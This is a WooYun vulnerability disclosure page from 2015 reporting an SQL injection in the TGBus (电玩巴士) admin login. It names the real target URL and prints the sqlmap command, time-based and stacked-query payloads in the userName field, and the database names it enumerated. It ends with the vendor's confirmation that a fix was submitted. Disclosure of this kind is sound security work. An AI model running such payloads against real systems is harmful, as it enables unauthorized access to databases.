当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0104603
漏洞标题：
电玩巴士后台管理系统SQL注入泄露多个重要数据库
相关厂商：
电玩巴士
漏洞作者：
Aug0st
提交时间：
2015-03-30 10:16
修复时间：
2015-05-14 10:58
公开时间：
2015-05-14 10:58
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-03-30： 细节已通知厂商并且等待厂商处理中
2015-03-30： 厂商已经确认，细节仅向厂商公开
2015-04-09： 细节向核心白帽子及相关领域专家公开
2015-04-19： 细节向普通白帽子公开
2015-04-29： 细节向实习白帽子公开
2015-05-14： 细节向公众公开

简要描述：

电玩巴士后台管理系统登录存在sql注入漏洞，泄露多个库

详细说明：

漏洞地址:http://superman.tgbus.com/login.shtml

222.png

这里的验证码不变，也为校验你的问题答案，导致可以直接进行工具注入
sqlserver 数据库，基于时间的，而且时间延迟的比较大，所以只列几个库说明情况，因为是后台管理系统，所以影响可想而知

漏洞证明：

D:\Program Files\sqlmap\sqlmap\sqlmap1>sqlmap.py -r 1.txt -p userName --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20140918}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer
s assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:05:20
[17:05:20] [INFO] parsing HTTP request from '1.txt'
[17:05:20] [INFO] resuming back-end DBMS 'microsoft sql server'
[17:05:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: userName
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: userName=admin'; WAITFOR DELAY '0:0:5'--&password=123456&safe_question=%E6%82%A8%E7%9A%84%E5%87%BA%E7%94%9F%E5%9C%B0%E6%98%AF%EF%BC%9F&safe_answer=%E8%A5%BF%E5%AE%89&validateCode=16
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: userName=admin' WAITFOR DELAY '0:0:5'--&password=123456&safe_question=%E6%82%A8%E7%9A%84%E5%87%BA%E7%94%9F%E5%9C%B0%E6%98%AF%EF%BC%9F&safe_answer=%E8%A5%BF%E5%AE%89&validateCode=16
---
[17:05:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[17:05:20] [INFO] fetching database names
[17:05:20] [INFO] fetching number of databases
[17:05:20] [INFO] resumed: 22
[17:05:20] [INFO] resumed: Hero\\?81Map
[17:05:20] [INFO] resumed: Hero_Open
[17:05:20] [INFO] resumed: Hero_Seo\r
[17:05:20] [INFO] resumed: master
[17:05:20] [INFO] resumed: model
[17:05:20] [INFO] resumed: msdb
[17:05:20] [INFO] resumed: PTBus_Manager\x02
[17:05:20] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[17:05:25] [ERROR] user aborted
[*] shutting down at 17:05:25


看manage库出来了，未深入了，太慢了

修复方案：

你懂的

版权声明：转载请注明来源 Aug0st@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-03-30 10:56

厂商回复：

感谢白帽"Aug0st"对我站的热心关注.此漏洞现已确认是由于后台程序对登陆参数过滤不严格导致.现已提交到相关部门进行修复.再次感谢!

最新状态：

暂无